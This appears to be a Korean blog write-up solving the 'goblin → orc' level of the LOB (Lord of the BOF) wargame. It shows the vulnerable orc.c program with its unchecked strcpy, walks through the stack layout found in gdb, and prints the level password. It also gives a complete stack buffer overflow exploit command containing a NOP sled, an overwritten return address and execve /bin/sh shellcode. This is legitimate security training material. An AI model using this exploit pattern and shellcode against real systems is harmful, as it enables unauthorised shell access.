goblin / hackers proof 로 로그인
파일 확인
orc.c
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
egg hunter는 memset()함수를 이용해 환경 변수를 없앤다. 환경 변수는 사용할 수 없다. 그리고 리턴주소의 첫바이트가 0xbf여야 한다.
gdb로 살펴보겠다.
main+3에서 dummy값이 없다는 사실을 알 수 있다.
스택상황
i | buffer | SFP | RET |
4byte | 40byte | 4byte | 4byte |
main+194 지점에 브레이크포인트를 걸어 조건에 맞게 실행시켜보았다.
nop를 충분히 채우기 위해 RET 뒤에 nop를 채우고 쉘코드를 채울것이다.
dummy(40) + RET뒤의 주소(4) + nop(10000) + shellcode 로 공격할 것이다.
bffffb84를 선택해 ret에 넣어주었다.
./orc `python -c 'print "\x90"*44+"\x84\xfb\xff\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
공격에 성공했다!
cantata
더보기
여러 방법으로 시도했는데 자꾸 실패해서 왜 그런가 했더니 bash2를 안해서 그런거였다... 위 방법은 core를 분석해 nop 영역의 주소 중 한 곳을 찾아 공격한 것이다.
'시스템 해킹 > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.02.22 |
---|---|
[LOB] orc → wolfman (0) | 2021.02.21 |
[LOB] cobolt → goblin (0) | 2021.02.20 |
[LOB] gremlin → cobolt (0) | 2021.02.20 |
[LOB] gate → gremlin (0) | 2021.02.09 |